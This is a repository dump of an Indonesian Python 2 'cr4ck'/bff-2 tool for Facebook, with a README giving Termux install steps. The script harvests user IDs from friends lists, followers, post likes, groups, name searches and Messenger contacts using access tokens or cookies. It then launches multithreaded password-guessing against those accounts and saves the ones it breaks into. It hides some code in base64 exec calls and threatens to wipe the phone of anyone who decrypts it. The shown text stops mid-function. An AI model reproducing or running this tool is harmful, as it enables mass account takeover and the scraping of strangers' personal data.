├── README.md ├── bff-2.py ├── cr4ck.py └── data └── ua.txt /README.md: -------------------------------------------------------------------------------- 1 | ```` 2 | Author : Muhammad Rizky 3 | Recode : Romi Afrizal 4 | ```` 5 | ## PERINTAH 6 | ````bash 7 | pkg update && pkg upgrade 8 | pkg install git 9 | pkg install python2 10 | pip2 install requests 11 | pip2 install mechanize 12 | git clone https://github.com/Mark-Zuck/cr4ck 13 | cd cr4ck 14 | ls 15 | python2 cr4ck.py 16 | ```` 17 | Script ini di tulis oleh Muhammad Rizky. Saya hanya ingin melanjutkan saja karna script ini sudah tidak ada lagi. 18 | # 19 | ### note: 20 | Untuk login ke termux anda diwajibkan menggunakan akun facebook tumbal atau akun baru. Saya tidak bertanggung jawab jika terjadi sesuatu pada akun facebook anda. Dan satu hal lagi, gunakan script ini sewajarnya! 21 | # 22 | Di Tulis Oleh Muhammad Rizky 23 | -------------------------------------------------------------------------------- /bff-2.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | # coding by Romi Afrizal 3 | # Note : jangan di ubah lagi! nanti error, script udah enak 4 | 5 | # Open source code team 6 | # Sekedar mengingatkan kalau mau decrypt script ini jangan salahin gw, jika semua data-data di hp (handphone) lu hilang (terhapus) 7 | 8 | Hj = '\x1b[1;92m' 9 | Mt = '\x1b[0m' 10 | ingfo = ( 11 | """%s 12 | • Info script : 13 | 14 | - author : Romi Afrizal 15 | - facebook : facebook.com/romi.afrizal.102 16 | - fanspage : facebook.com/100022086172556 17 | - whatsap : +6282371648186 18 | - github : github.com/Mark-Zuck 19 | - script name : bff-2 20 | - version : 1.1 21 | 22 | %s"""%(Hj,Mt)) 23 | 24 | import os 25 | try: 26 | import requests 27 | except ImportError: 28 | print '\n• modul requests belum terinstall \n' 29 | os.system('pip2 install requests') 30 | try: 31 | import concurrent.futures 32 | except ImportError: 33 | print '\n• modul futures belum terinstall \n' 34 | os.system('pip2 install futures') 35 | try: 36 | import bs4 37 | except ImportError: 38 | print '\n• modul bs4 belum terinstall \n' 39 | os.system('pip2 install bs4') 40 | 41 | import requests, os, re, bs4, sys, json, time, random, datetime, subprocess, logging, base64, marshal 42 | from concurrent.futures import ThreadPoolExecutor as Lampung 43 | from datetime import datetime 44 | from bs4 import BeautifulSoup as parser 45 | from time import sleep as jeda 46 | exec(base64.b64decode('Y3QgPSBkYXRldGltZS5ub3coKQ0KbiA9IGN0Lm1vbnRoDQpidWxhbjEgPSB7IjAxIjogIkphbnVhcmkiLCAiMDIiOiAiRmVicnVhcmkiLCAiMDMiOiAiTWFyZXQiLCAiMDQiOiAiQXByaWwiLCAiMDUiOiAiTWVpIiwgIjA2IjogIkp1bmkiLCAiMDciOiAiSnVsaSIsICIwOCI6ICJBZ3VzdHVzIiwgIjA5IjogIlNlcHRlbWJlciIsICIxMCI6ICJPa3RvYmVyIiwgIjExIjogIk5vdmVtYmVyIiwgIjEyIjogIkRlc2VtYmVyIn0NCmJ1bGFuID0gWydKYW51YXJpJywgJ0ZlYnJ1YXJpJywgJ01hcmV0JywgJ0FwcmlsJywgJ01laScsICdKdW5pJywgJ0p1bGknLCAnQWd1c3R1cycsICdTZXB0ZW1iZXInLCAnT2t0b2JlcicsICdOb3ZlbWJlcicsICdEZXNlbWJlciddDQp0cnk6DQogICAgaWYgbiA8IDAgb3IgbiA+IDEyOg0KICAgICAgICBleGl0KCkNCiAgICBuVGVtcCA9IG4gLSAxDQpleGNlcHQgVmFsdWVFcnJvcjoNCiAgICBleGl0KCkNCg0KY3VycmVudCA9IGRhdGV0aW1lLm5vdygpDQp0YSA9IGN1cnJlbnQueWVhcg0KYnUgPSBjdXJyZW50Lm1vbnRoDQpoYSA9IGN1cnJlbnQuZGF5DQpvcCA9IGJ1bGFuW25UZW1wXQ0KcmVsb2FkKHN5cykNCnN5cy5zZXRkZWZhdWx0ZW5jb2RpbmcoJ3V0Zi04JykNCiMgS1VNUFVMQU4gV0FSTkENCk0gPSAnXHgxYlsxOzkxbScgIyBNRVJBSA0KSCA9ICdceDFiWzE7OTJtJyAjIEhJSkFVDQpLID0gJ1x4MWJbMTs5M20nICMgS1VOSU5HDQpCID0gJ1x4MWJbMTs5NG0nICMgQklSVQ0KVSA9ICdceDFiWzE7OTVtJyAjIFVOR1UNCk8gPSAnXHgxYlsxOzk2bScgIyBCSVJVIE1VREENClAgPSAnXHgxYlsxOzk3bScgIyBQVVRJSA0KTiA9ICdceDFiWzBtJyAjIFdBUk5BIE1BVEkNCmFjYWsgPSBbTSwgSCwgSywgQiwgVSwgTywgUF0NCndhcm5hID0gcmFuZG9tLmNob2ljZShhY2FrKQ0KdGlsID0i4oCiIg==')) 47 | 48 | ok = [] 49 | cp = [] 50 | id = [] 51 | user = [] 52 | loop = 0 53 | 54 | def jalan(z): 55 | for e in z + '\n': 56 | sys.stdout.write(e) 57 | sys.stdout.flush();jeda(0.03) 58 | 59 | def tik(): 60 | titik = ['. ','.. ','... '] 61 | for o in titik: 62 | print ('\r%s%s menghapus %s'%(M,til,o)), 63 | sys.stdout.flush();jeda(1) 64 | 65 | # LOGO (LO GOBLOK) 66 | ip = requests.get('https://api.ipify.org').text 67 | exec(base64.b64decode('YXV0aG9yID0iUm9taSBBZnJpemFsIgpmYl9tZSA9ImZhY2Vib29rLmNvbS9yb21pLmFmcml6YWwuMTAyIgpnaXRodWIgPSJnaXRodWIuY29tL01hcmstWnVjayI=')) 68 | def banner(): 69 | print (' %s%s%s%s%s%s %s%s%s%s%s%s\n%s _______ ______ _______ _______ _ _\n | |_____/ |_____| | |____/ \n%s |_____ | \\_ | | |_____ | \\_\n\n %s %s %sCoded by %s: %s%s %s%s \n %s%s%s%s%s%s %s%s%s%s%s%s \n %s# %sFb %s : %s%s \n %s# %sGit%s : %s%s \n %s# %s---------------------------------------- %s# '% 70 | (M,til,K,til,H,til,M,til,K,til,H,til,M,P,U,til,K,M,K,author,U,til,M,til,K,til,H,til,M,til,K,til,H,til,U,O,M,O,fb_me,U,O,M,O,github,P,M,P)) 71 | print (' %s#%s IP %s:%s %s%s '%(U,O,M,O,ip,M)) 72 | 73 | # MASUK TOKEN (TOKEN LISTRIK) 74 | header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": "NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+ ;]", "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} 75 | def masuk(): 76 | os.system('clear');banner() 77 | print ('\n%s%s%s 01 %sLogin via token \n%s%s%s 02%s Cara mendapatkan token \n%s%s%s 00 %sKeluar'%(U,til,K,O,U,til,K,O,U,til,M,O)) 78 | rom = raw_input ("\n%s# %sPilih %s> %s"%(P,O,M,K)) 79 | if rom in(""): 80 | print("%s%s wrong input "%(M,til));exit() 81 | elif rom in ('1','01'): 82 | jalan("\n%s!%s Wajib gunakan akun tumbal dilarang akun utama"%(M,O)) 83 | romz = raw_input("%s# %sToken %s> %s"%(P,O,M,K)) 84 | if romz in(""): 85 | print ("%s%s isi token kentod "%(M,til)) 86 | try: 87 | nama = requests.get('https://graph.facebook.com/me?access_token=%s'%(romz)).json()['name'] 88 | print ('\n%s%s Login succes, mohon tunggu '%(H,til));jeda(2) 89 | open('data/token.txt', 'w').write(romz);login_xx() 90 | exec(base64.b64decode('b3Muc3lzdGVtKCd4ZGctb3BlbiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vcm9taS5hZnJpemFsLjEwMicpO21lbnUoKQ==')) 91 | except (KeyError,IOError): 92 | print ("%s%s Token invalid "%(M,til));jeda(2);masuk() 93 | elif rom in ('2', '02'): 94 | print ("\n%s%s Berikut cara nya :"%(H,til));jeda(2) 95 | print (" - siapkan akun facebook (wajib akun tumbal)");jeda(2) 96 | print (" - loginkan akun facebook (tumbal) di browser %sChrome %s"%(O,H));jeda(2) 97 | print (" - url alamat wajib %shttps://m.facebook.com %s(mode data)"%(O,H));jeda(2) 98 | print (" - salin link : %shttps://m.facebook.com/composer/ocelot/async_loader/?publisher=feed#_=_"%(O));jeda(2) 99 | print ("%s - taruh link tersebut di url alamat facebook lalu klik cari "%(H));jeda(2) 100 | print (" - jika sudah, klik %stitik tiga %spojok kanan atas "%(O,H));jeda(2) 101 | print (" - kemudian klik %sCari di Halaman %s"%(O,H));jeda(2) 102 | print (" - ketik %sEAAAA %sakan muncul acces token."%(O,H));jeda(2) 103 | print (" - jika sudah jangan lupa di salin \n");jeda(2) 104 | nanya = raw_input('%s%s%s Anda paham? %sy%s/%sn :%s '%(U,til,O,H,O,M,K)) 105 | if nanya in(""): 106 | print ("%s%s saya bertanya wajib di jawab "%(M,til));jeda(2);masuk() 107 | elif nanya in("y","Y"): 108 | print ("\n%s%s selamat anda pintar :* "%(H,til));jeda(2);masuk() 109 | elif nanya in("n","N"): 110 | print ("\n%s%s anda sungguh tolol "%(M,til));jeda(2);os.system("xdg-open https://youtu.be/IG5QfdxRkeY");masuk() 111 | elif rom in ('0', '00'): 112 | exit('\n') 113 | else: 114 | print("%s%s wrong input "%(M,til));exit() 115 | 116 | # MASUK COOKIE (KUEH KERING) 117 | host = ('https://mbasic.facebook.com') 118 | ua = ("NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+") 119 | h = {'Host': 'mbasic.facebook.com', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'user-agent': ua, 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'accept-encoding': 'gzip, deflate', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} 120 | 121 | def __romz__(): 122 | if os.path.exists(".cok"): 123 | if os.path.getsize(".cok") !=0: 124 | return cvd(open('.cok').read().strip()) 125 | else:gen() 126 | else:gen() 127 | 128 | def gen(show=True): 129 | if show==True: 130 | #os.system("clear") 131 | #banner() 132 | print("\n%s%s%s Supaya bekerja masukan cookie facebook anda"%(U,til,O)) 133 | ck=raw_input("%s# %sCookie %s> %s"%(P,O,M,K)) 134 | if ck=="":gen(show=False) 135 | try: 136 | cks=cvd(ck) 137 | if lang(cks)==True: 138 | open(".cok","w").write(ck);exit("%s%s login success, ketik: python2 bff-2.py "%(H,til)) 139 | else:print("%s%s login gagal."%(M,til));gen(show=True) 140 | except Exception as e: 141 | print("%s%s error : %s\n"%(M,til,e)) 142 | gen(show=False) 143 | 144 | def lang(cookies): 145 | f=False 146 | b=requests.get("https://mbasic.facebook.com/profile.php",headers={'origin': 'https://mbasic.facebook.com', 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 'accept-encoding': 'gzip, deflate', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'user-agent': ua, 'Host': ('').join(bs4.re.findall('://(.*?)$', 'https://mbasic.facebook.com')), 'referer': 'https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'content-type': 'application/x-www-form-urlencoded'},cookies=cookies).text 147 | if "mbasic_logout_button" in b.lower(): 148 | f=True 149 | if f==True: 150 | return True 151 | else: 152 | exit("%s%s login gagal. "%(M,til)) 153 | 154 | def hdcok(): 155 | hosts = host 156 | r = {'origin': hosts, 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7', 'accept-encoding': 'gzip, deflate', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'user-agent': ua, 'Host': ('').join(bs4.re.findall('://(.*?)$', hosts)), 'referer': hosts + '/login/?next&ref=dbl&fl&refid=8', 'cache-control': 'max-age=0', 'upgrade-insecure-requests': '1', 'content-type': 'application/x-www-form-urlencoded'} 157 | return r 158 | 159 | def cvs(cookies): # convert cookie dict to string 160 | result=[] 161 | for i in enumerate(cookies.keys()): 162 | if i[0]==len(cookies.keys())-1:result.append(i[1]+"="+cookies[i[1]]) 163 | else:result.append(i[1]+"="+cookies[i[1]]+"; ") 164 | return "".join(result) 165 | 166 | def cvd(cookies): # convert cookie dict to string 167 | result={} 168 | try: 169 | for i in cookies.split(";"): 170 | result.update({i.split("=")[0]:i.split("=")[1]}) 171 | return result 172 | except: 173 | for i in cookies.split("; "): 174 | result.update({i.split("=")[0]:i.split("=")[1]}) 175 | return result 176 | 177 | # DUMP PUBLIK 178 | def publik(romz,headers=header): 179 | try: 180 | os.mkdir('dump') 181 | except:pass 182 | try: 183 | print ("\n%s%s %sKetik '%sme%s' jika ingin dump daftar teman sendiri "%(U,til,O,H,O)) 184 | idt = raw_input('%s%s %sTarget id%s > %s'%(U,til,O,M,K)) 185 | #simpan = raw_input('%s%s%s Nama file%s > %s'%(U,til,O,M,K)) 186 | gas = requests.get('https://graph.facebook.com/%s?access_token=%s'%(idt,romz)) 187 | nm = json.loads(gas.text) 188 | file = ('dump/'+nm['first_name']+'.json').replace(' ', '_') 189 | bff = open(file, 'w') 190 | r = requests.get('https://graph.facebook.com/%s?fields=friends.limit(5001)&access_token=%s'%(idt,romz)) 191 | z = json.loads(r.text) 192 | for a in z['friends']['data']: 193 | id.append(a['id'] + '<=>' + a['name']) 194 | bff.write(a['id'] + '<=>' + a['name'] + '\n') 195 | print '\r%s%s%s mengumpulkan id%s >%s %s ' % (U,til,O,M,H,str(len(id))), 196 | sys.stdout.flush();jeda(0.0050) 197 | 198 | bff.close() 199 | print ('\n\n%s%s Succes dump id dari %s'%(H,til,nm['name'])) 200 | print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,file)) 201 | raw_input('\n%s%s%s Kembali '%(U,til,O)) 202 | menu() 203 | except Exception as e: 204 | exit('\n%s%s Failed dump id'%(M,til)) 205 | 206 | # DUMP FOLLOWERS 207 | def followers(romz,headers=header): 208 | try: 209 | os.mkdir('dump') 210 | except:pass 211 | try: 212 | print ("\n%s%s %sKetik '%sme%s' jika ingin dump followers sendiri "%(U,til,O,H,O)) 213 | idt = raw_input('%s%s %sTarget id%s > %s'%(U,til,O,M,K)) 214 | batas = raw_input('%s%s %sMaximal id%s > %s'%(U,til,O,M,K)) 215 | #simpan = raw_input('%s%s%s Nama file%s > %s'%(U,til,O,M,K)) 216 | gas = requests.get('https://graph.facebook.com/%s?access_token=%s'%(idt,romz)) 217 | nm = json.loads(gas.text) 218 | file = ('dump/'+nm['first_name']+'.json').replace(' ', '_') 219 | bff = open(file, 'w') 220 | r = requests.get('https://graph.facebook.com/%s/subscribers?limit=%s&access_token=%s'%(idt,batas,romz)) 221 | z = json.loads(r.text) 222 | for a in z['data']: 223 | id.append(a['id'] + '<=>' + a['name']) 224 | bff.write(a['id'] + '<=>' + a['name'] + '\n') 225 | print ('\r%s%s%s mengumpulkan id%s >%s %s ' % (U,til,O,M,H,str(len(id)))), 226 | sys.stdout.flush();jeda(0.0050) 227 | 228 | bff.close() 229 | print ('\n\n%s%s Succes dump followers dari %s '%(H,til,nm["name"])) 230 | print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,file)) 231 | raw_input('\n%s%s%s Kembali '%(U,til,O)) 232 | menu() 233 | except Exception as e: 234 | exit('\n%s%s Failed dump id'%(M,til)) 235 | 236 | # DUMP POSTINGAN 237 | def postingan(romz,headers=header): 238 | try: 239 | os.mkdir('dump') 240 | except:pass 241 | try: 242 | print ("\n%s%s %sPerlu di ingat postingan harus bersifat publik "%(U,til,O)) 243 | idt = raw_input('%s%s %sId post%s > %s'%(U,til,O,M,K)) 244 | simpan = raw_input('%s%s%s Nama file%s > %s'%(U,til,O,M,K)) 245 | r = requests.get('https://graph.facebook.com/%s/likes?limit=999999&access_token=%s'%(idt,romz)) 246 | id = [] 247 | z = json.loads(r.text) 248 | file = ('dump/' + simpan + '.json').replace(' ', '_') 249 | bff = open(file, 'w') 250 | for a in z['data']: 251 | id.append(a['id'] + '<=>' + a['name']) 252 | bff.write(a['id'] + '<=>' + a['name'] + '\n') 253 | print '\r%s%s%s mengumpulkan id%s >%s %s ' % (U,til,O,M,H,str(len(id))), 254 | sys.stdout.flush();jeda(0.0050) 255 | 256 | bff.close() 257 | print ('\n\n%s%s Succes dump id postingan '%(H,til)) 258 | print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,file)) 259 | raw_input('\n%s%s%s Kembali '%(U,til,O)) 260 | menu() 261 | except Exception as e: 262 | exit('\n%s%s Failed dump id'%(M,til)) 263 | 264 | # DUMP GROUP 265 | class group: 266 | 267 | def __init__(self, cookies): 268 | self.glist=[] 269 | self.cookies=cookies 270 | self.manual() 271 | exit() 272 | 273 | def manual(self): 274 | print("\n%s%s%s Perlu di ingat group harus bersifat publik atau wajib join group"%(U,til,O)) 275 | id=raw_input("%s%s%s Id groups%s > %s"%(U,til,O,M,K)) 276 | if id in(""): 277 | self.manual() 278 | else: 279 | r=bs4.BeautifulSoup(requests.get("https://mbasic.facebook.com/groups/"+id,headers=hdcok(),cookies=self.cookies).text,"html.parser") 280 | if "konten tidak" in r.find("title").text.lower(): 281 | exit("%s%s input id grup yg valid goblok, id error, atau lu belom jooin di grup"%(M,til)) 282 | else: 283 | self.listed={"id":id,"name":r.find("title").text} 284 | self.f() 285 | print("%s%s%s Nama grup%s > %s%s.."%(U,til,O,M,H,self.listed.get("name")[0:20])) 286 | self.dumps("https://mbasic.facebook.com/groups/"+id) 287 | 288 | def f(self): 289 | self.fl=raw_input('%s%s%s Nama file %s> %s'%(U,til,O,M,K)).replace(" ","_") 290 | if self.fl=='':self.f() 291 | open(self.fl,"w").close() 292 | 293 | def dumps(self, url): 294 | r=bs4.BeautifulSoup(requests.get(url,cookies=self.cookies,headers=hdcok()).text,"html.parser") 295 | print("\r%s%s%s mengumpulkan id %s> %s%s \x1b[1;97m- mohon tunggu\r"%(U,til,O,M,H,str(len(open(self.fl).read().splitlines())))) 296 | sys.stdout.flush();jeda(0.0050) 297 | for i in r.find_all("h3"): 298 | try: 299 | if len(bs4.re.findall("\/",i.find("a",href=True).get("href")))==1: 300 | ogeh=i.find("a",href=True) 301 | if "profile.php" in ogeh.get("href"): 302 | a="".join(bs4.re.findall("profile\.php\?id=(.*?)&",ogeh.get("href"))) 303 | if len(a)==0:continue 304 | elif a in open(self.fl).read(): 305 | continue 306 | else: 307 | open(self.fl,"a+").write("%s<=>%s\n"%(a,ogeh.text)) 308 | continue 309 | else: 310 | a="".join(bs4.re.findall("/(.*?)\?",ogeh.get("href"))) 311 | if len(a)==0:continue 312 | elif a in open(self.fl).read(): 313 | continue 314 | else: 315 | open(self.fl,"a+").write("%s<=>%s\n"%(a,ogeh.text)) 316 | except:continue 317 | for i in r.find_all("a",href=True): 318 | if "Lihat Postingan Lainnya" in i.text: 319 | while True: 320 | try: 321 | self.dumps("https://mbasic.facebook.com/"+i.get("href")) 322 | break 323 | except Exception as e: 324 | print("\r\x1b[1;91m•%s, retrying..."%e);continue 325 | print ('\n\n%s%s Succes dump id member group '%(H,til));print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,self.fl));raw_input("\n%s%s%s kembali"%(U,til,O));menu() 326 | 327 | def cek(arg): 328 | if os.path.exists(".cok"): 329 | if os.path.getsize(".cok") !=0: 330 | return True 331 | else:return False 332 | else:return False 333 | 334 | # DUMP PENCARIAN NAMA 335 | def dumpfl(): 336 | cvds = None 337 | cookie = None 338 | new = None 339 | if cek(1) == False: 340 | try: 341 | cookie = raw_input("\n%s%s%s Supaya bekerja masukan cookie facebook anda\n%s# %sCookie%s > %s"%(U,til,O,P,O,M,K)) 342 | cvds = cvd(cookie) 343 | new = True 344 | except: 345 | print("\x1b[1;91m• invalid cookie");dumpfl() 346 | else: 347 | cvds = cvd(open('.cok').read().strip()) 348 | r = requests.get('https://mbasic.facebook.com/profile.php', cookies=cvds, headers=hdcok()).text 349 | if len(bs4.re.findall('logout', r)) != 0: 350 | if lang(cvds) != True: 351 | exit("%s%s gagal saat mendeteksi bahasa."%(M,til)) 352 | #print("\n%s%s%s Login sebagai%s [ %s%s..]"%(U,til,O,M,H,bs4.BeautifulSoup(r,"html.parser").find("title").text[0:10])) 353 | if new == True: 354 | open('.cok', 'w').write(cookie) 355 | sim=raw_input("\n%s%s%s Nama file %s>%s "%(U,til,O,M,K)).replace(" ","_") 356 | print ("%s%s%s Example nama orang %s[ %sRomi Ganteng %s]"%(U,til,O,P,H,P)) 357 | s=raw_input("%s%s%s Sett nama %s> %s"%(U,til,O,M,K)) 358 | if s in("romi","Romi","ROMI","Romi Afrizal","Romi afrizal","ROMI AFRIZAL","romi afrizal"): 359 | print("\n%s%s anak anjing mau crack pake nama gw "%(M,til));exit() 360 | elif s in("Romi Ganteng","Romi ganteng","ROMI GANTENG","romi ganteng"): 361 | print ("\n%s%s memang ganteng dong abang Romi"%(H,til));exit() 362 | namah(sim,cvds,"https://mbasic.facebook.com/search/people/?q="+s) 363 | else: 364 | try: 365 | os.remove('.cok') 366 | except: 367 | pass 368 | print '\x1b[1;91m• login fail!' 369 | dumpfl() 370 | return 371 | 372 | def namah(sim,r,b): 373 | open(sim,"a+") 374 | b=bs4.BeautifulSoup(requests.get(b, cookies=r,headers=hdcok()).text,"html.parser") 375 | for i in b.find_all("a",href=True): 376 | #clear() 377 | #banner() 378 | print("\r%s%s%s mengumpulkan id %s> %s%s \x1b[1;97m- mohon tunggu\r"%(U,til,O,M,H,str(len(open(sim).read().splitlines())))),;sys.stdout.flush() 379 | if " in str(i):
380 | 			if %s\n"%(pk,name)) 393 | else: 394 | d=bs4.re.findall("/(.*?)\?",g) 395 | name=i.find("img").get("alt").replace(", profile picture","") 396 | if len(d) !=0: 397 | pk="".join(d) 398 | if pk in open(sim).read(): 399 | pass 400 | else: 401 | open(sim,"a+").write("%s<=>%s\n"%(pk,name)) 402 | if "Lihat Hasil Selanjutnya" in i.text: 403 | namah(sim,r,i["href"]) 404 | print ('\n\n%s%s Succes dump id pencarian nama '%(H,til));print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,sim));raw_input("\n%s%s%s kembali"%(U,til,O));menu() 405 | 406 | # DUMP PESAN 407 | class pesan: 408 | 409 | def __init__(self, cookies): 410 | self.cookies = cookies 411 | #basecookie() 412 | #clear() 413 | self.f = raw_input('\n%s%s%s Nama file%s >%s '%(U,til,O,M,K)).replace(' ', '_') 414 | if self.f == '': 415 | pesan(cookies) 416 | open(self.f, 'w').close() 417 | self.dump('https://mbasic.facebook.com/messages') 418 | 419 | def dump(self,url): 420 | open(self.f, 'a+') 421 | bs = bs4.BeautifulSoup(requests.get(url, headers=hdcok(), cookies=self.cookies).text, 'html.parser') 422 | print ("\r%s%s%s mengumpulkan id %s> %s%s \x1b[1;97m- mohon tunggu\r"%(U,til,O,M,H,str(len(open(self.f).read().splitlines()))));sys.stdout.flush();jeda(0.0050) 423 | for i in bs.find_all('a', href=True): 424 | if '/messages/read' in i.get('href'): 425 | f = bs4.re.findall('cid\\.c\\.(.*?)%3A(.*?)&', i.get('href')) 426 | try: 427 | for ip in list(f.pop()): 428 | if self.cookies.get(' c_user') in ip: 429 | continue 430 | else: 431 | if 'pengguna facebook' in i.text.lower(): 432 | continue 433 | open(self.f, 'a+').write('%s<=>%s\n' % (ip, i.text)) 434 | except Exception as e: 435 | continue 436 | if 'Lihat Pesan Sebelumnya' in i.text: 437 | self.dump('https://mbasic.facebook.com/' + i.get('href')) 438 | print ('\n%s%s Succes dump id pesan mesengger '%(H,til)) 439 | print ('%s%s%s File dump tersimpan %s>%s %s '%(U,til,O,M,H,self.f)) 440 | raw_input("\n%s%s%s kembali"%(U,til,O));menu() 441 | 442 | # GANTI USER AGENT 443 | def useragent(): 444 | print ("\n%s%s%s 01 %sGanti user agents "%(U,til,P,O)) 445 | print ("%s%s%s 02 %sCek user agents "%(U,til,P,O)) 446 | print ("%s%s%s 00 %sKembali "%(U,til,M,O)) 447 | uas() 448 | 449 | def uas(): 450 | u = raw_input('\n%s#%s Pilih%s >%s '%(P,O,M,K)) 451 | if u == '': 452 | print '%s%s wrong input'%(M,til);jeda(2);uas() 453 | elif u in("1","01"): 454 | print ("%s%s%s Ketik %sMy user agent%s di browser google chrome\n%s%s%s untuk gunakan user agent anda sendiri"%(U,til,O,H,O,U,til,O)) 455 | print ("%s%s%s Ketik %sdefault%s untuk gunakan user agent bawaan tools"%(U,til,O,H,O)) 456 | try: 457 | ua = raw_input("%s%s%s Enter user agent %s: %s"%(U,til,O,M,K)) 458 | if ua in(""): 459 | print ("%s%s isi yang benar "%(M,til));jeda(2);menu() 460 | elif ua in("my user agent","My User Agent","MY USER AGENT","My user agent"): 461 | jalan("%s%s%s Anda akan di arahkan ke browser "%(U,til,O));jeda(2) 462 | os.system("am start https://www.google.com/search?q=My+user+agent>/dev/null");jeda(2);useragent() 463 | elif ua in("default","Default","DEFAULT"): 464 | ua_ = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+"]) 465 | open("data/ua.txt","w").write(ua_) 466 | print ("\n%s%s Using the built-in user agent"%(H,til));jeda(2);menu() 467 | open("data/ua.txt","w").write(ua);jeda(2) 468 | print ("\n%s%s Successfully changed user agent"%(H,til));jeda(2);menu() 469 | except KeyboardInterrupt: 470 | exit ("\x1b[1;91m• Error ") 471 | elif u in("2","02"): 472 | try: 473 | ua_ = open('data/ua.txt', 'r').read();jeda(2);print ("%s%s%s user agent anda : %s%s"%(U,til,O,H,ua_));jeda(2);raw_input("%s%s%s kembali "%(U,til,O));menu() 474 | except IOError: 475 | ua_ = '%s-'%(M) 476 | elif u in("0","00"): 477 | menu() 478 | else: 479 | print '%s%s wrong input'%(M,til);jeda(2);uas() 480 | 481 | # MULAI CRACK 482 | class ngentod: 483 | 484 | def __init__(self): 485 | self.id = [] 486 | 487 | def askk(self): 488 | try: 489 | self.apk = raw_input('\n%s%s%s file dump %s> %s'%(U,til,O,M,K)) 490 | self.id = open(self.apk).read().splitlines() 491 | print '%s%s%s jumlah Id%s > %s%s' %(U,til,O,M,H,len(self.id)) 492 | except: 493 | print ('\n%s%s file dump : %s%s%s tidak ada'%(M,til,K,self.apk,M));jeda(2);print('%s%s lu harus dump id dlu, pilih antara menu no 1-6 '%(M,til));jeda(3);menu() 494 | rom = raw_input('%s%s%s gunakan password manual? y/t%s > %s'%(U,til,O,M,K)) 495 | if rom in ('Y', 'y'): 496 | print ('\n%s%s%s contoh%s >%s sayang%s,%spengen%s,%sngentot'%(U,til,O,M,O,M,O,M,O)) 497 | while True: 498 | pwek = raw_input('%s%s%s password %s> %s'%(U,til,O,M,K)) 499 | if pwek == '': 500 | print("%s%s Jangan kosong"%(M,til)) 501 | elif len(pwek)<=5: 502 | print ('%s%s sandi minimal 6 karakter'%(M,til)) 503 | else: 504 | def xxh(xxnx=None): 505 | skm = raw_input('\n%s#%s Pilih %s> %s '%(P,O,M,K)) 506 | if skm in(""): 507 | print '%s%s isi yg benar sayang'%(M,til);self.xxh() 508 | elif skm in("1","01"): 509 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 510 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 511 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 512 | with Lampung(max_workers=30) as njir: 513 | for uh in self.id: 514 | try: 515 | ah = uh.split('<=>')[0] 516 | njir.submit(self.api, ah, xxnx) 517 | except: pass 518 | os.remove(self.apk) 519 | exit("\n%s%s finished "%(H,til)) 520 | elif skm in("2","02"): 521 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 522 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 523 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 524 | with Lampung(max_workers=30) as njir: 525 | for uh in self.id: 526 | try: 527 | ah = uh.split('<=>')[0] 528 | njir.submit(self.mbasic, ah, xxnx) 529 | except: pass 530 | os.remove(self.apk) 531 | exit("\n%s%s finished "%(H,til)) 532 | elif skm in("3","03"): 533 | print '\n%s%s%s akun %s[OK] %stersimpan ke file %s> %shasil/OK-%s-%s-%s.txt'%(U,til,O,H,O,M,H,ha, op, ta);jeda(0.2) 534 | print '%s%s%s akun %s[%sCP%s]%s tersimpan ke file %s> %shasil/CP-%s-%s-%s.txt'%(U,til,O,M,K,M,O,M,K,ha, op, ta);jeda(0.2) 535 | print('%s!%s crack berjalan, tekan CTRL+Z untuk stop\n'%(U,O));jeda(0.2) 536 | with Lampung(max_workers=30) as njir: 537 